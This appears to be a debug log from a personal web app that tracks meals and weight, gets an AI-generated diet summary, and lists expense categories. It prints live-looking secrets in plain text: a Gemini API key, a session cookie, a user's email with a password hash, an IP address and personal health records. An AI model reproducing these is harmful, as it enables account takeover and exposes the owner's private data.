    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)'
  },
  {
    id: 410,
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)'
  },
  {
    id: 411,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  }
]
2025-12-16T13:36:14.195Z server-connect:app Executing action step paged
2025-12-16T13:36:14.195Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-16T13:36:14.197Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 12,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-16T13:36:14.197Z server-connect:app Executing action step run
2025-12-16T13:36:14.197Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T13:36:14.198Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '\n'
2025-12-16T13:36:14.198Z server-connect:app Executing action step run
2025-12-16T13:36:14.198Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T13:36:14.199Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T13:36:14.199Z server-connect:app Executing action step setvalue
2025-12-16T13:36:14.199Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-16T13:36:14.199Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T13:36:14.199Z server-connect:app Executing action step processWithGemini
2025-12-16T13:36:14.199Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
2025-12-16T13:36:15.893Z server-connect:output health_summary: {
  summary: 'The day showed a moderate intake of foods, with a decent effort towards incorporating whole grains and vegetables. Protein sources appear to be present but could be prioritized further to support muscle development. Meal timing seems spread out, which is generally supportive of consistent energy levels. Recovery support is implied by the early morning gym sessions.',
  rating: 6,
  good_points: [
    'Inclusion of whole wheat roti, providing complex carbohydrates.',
    'Incorporation of a vegetable dish (Aloo Gobi).',
    'Use of unsweetened milk tea and green tea.',
    'Spaced out meal and snack consumption throughout the day.'
  ],
  bad_points: [
    'Protein intake appears to be on the lower side relative to the goal of muscle development.',
    'The inclusion of digestive biscuits and milk sugar coffee might not be optimal for fat loss.',
    'The idli, while a staple, is primarily carbohydrate-heavy.'
  ],
  suggestions: [
    'Aim to include a more significant protein source with main meals, such as lean meats, lentils, or paneer.',
    'Consider swapping the digestive biscuits for a protein-rich snack or a larger portion of makhana.',
    'Be mindful of added sugars in beverages like the milk sugar coffee.',
    'Ensure adequate hydration throughout the day, especially with early morning workouts.'
  ],
  predicted_weight_trend: 'slight loss',
  predicted_weight: 70.1
}
2025-12-16T13:36:15.893Z server-connect:app Executing action step condition
2025-12-16T13:36:15.893Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-16T13:36:15.893Z server-connect:app Executing action step delete
2025-12-16T13:36:15.893Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-16T13:36:15.894Z server-connect:output delete: { affected: 1 }
2025-12-16T13:36:15.894Z server-connect:app Executing action step insert
2025-12-16T13:36:15.894Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-16T13:36:15.895Z server-connect:output insert: { affected: 1, identity: 16 }
2025-12-16T13:36:15.895Z server-connect:output condition: undefined
2025-12-16T13:36:16.150Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T13:36:16.150Z server-connect:app Executing action step identify
2025-12-16T13:36:16.150Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:16.150Z server-connect:output identity: 1
2025-12-16T13:36:16.150Z server-connect:app Executing action step restrict
2025-12-16T13:36:16.150Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:16.150Z server-connect:output restrict: undefined
2025-12-16T13:36:16.150Z server-connect:app Executing action step single
2025-12-16T13:36:16.150Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T13:36:16.151Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day showed a moderate intake of foods, with a decent effort towards incorporating whole grains and vegetables. Protein sources appear to be present but could be prioritized further to support muscle development. Meal timing seems spread out, which is generally supportive of consistent energy levels. Recovery support is implied by the early morning gym sessions.',
    bad_points: [
      'Protein intake appears to be on the lower side relative to the goal of muscle development.',
      'The inclusion of digestive biscuits and milk sugar coffee might not be optimal for fat loss.',
      'The idli, while a staple, is primarily carbohydrate-heavy.'
    ],
    good_points: [
      'Inclusion of whole wheat roti, providing complex carbohydrates.',
      'Incorporation of a vegetable dish (Aloo Gobi).',
      'Use of unsweetened milk tea and green tea.',
      'Spaced out meal and snack consumption throughout the day.'
    ],
    suggestions: [
      'Aim to include a more significant protein source with main meals, such as lean meats, lentils, or paneer.',
      'Consider swapping the digestive biscuits for a protein-rich snack or a larger portion of makhana.',
      'Be mindful of added sugars in beverages like the milk sugar coffee.',
      'Ensure adequate hydration throughout the day, especially with early morning workouts.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T13:36:40.064Z server-connect:app Executing action step identify
2025-12-16T13:36:40.064Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:40.064Z server-connect:output identity: 1
2025-12-16T13:50:56.092Z server-connect:router Serving templateView /
2025-12-16T13:50:56.092Z server-connect:app Executing action step identify
2025-12-16T13:50:56.092Z server-connect:app options: { provider: 'security' }
2025-12-16T13:50:56.139Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-16T13:50:56.141Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-16T13:50:56.185Z server-connect:output identity: 1
2025-12-16T13:50:56.185Z server-connect:app Executing action step restrict
2025-12-16T13:50:56.185Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:50:56.186Z server-connect:output restrict: undefined
2025-12-16T13:50:56.186Z server-connect:app Executing action step restrict
2025-12-16T13:50:56.186Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:50:56.186Z server-connect:output restrict: undefined
2025-12-16T13:50:56.186Z server-connect:router Render template layouts/main
2025-12-16T13:50:56.186Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.091Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T13:51:02.447Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T13:51:02.447Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T13:51:02.447Z server-connect:app Executing action step identify
2025-12-16T13:51:02.447Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:02.448Z server-connect:output identity: 1
2025-12-16T13:51:02.448Z server-connect:app Executing action step restrict
2025-12-16T13:51:02.448Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:02.448Z server-connect:app Executing action step identify
2025-12-16T13:51:02.448Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:02.448Z server-connect:output identity: 1
2025-12-16T13:51:02.448Z server-connect:app Executing action step restrict
2025-12-16T13:51:02.448Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:02.449Z server-connect:output restrict: undefined
2025-12-16T13:51:02.449Z server-connect:app Executing action step select
2025-12-16T13:51:02.449Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T13:51:02.451Z server-connect:output restrict: undefined
2025-12-16T13:51:02.451Z server-connect:app Executing action step single
2025-12-16T13:51:02.451Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T13:51:02.456Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
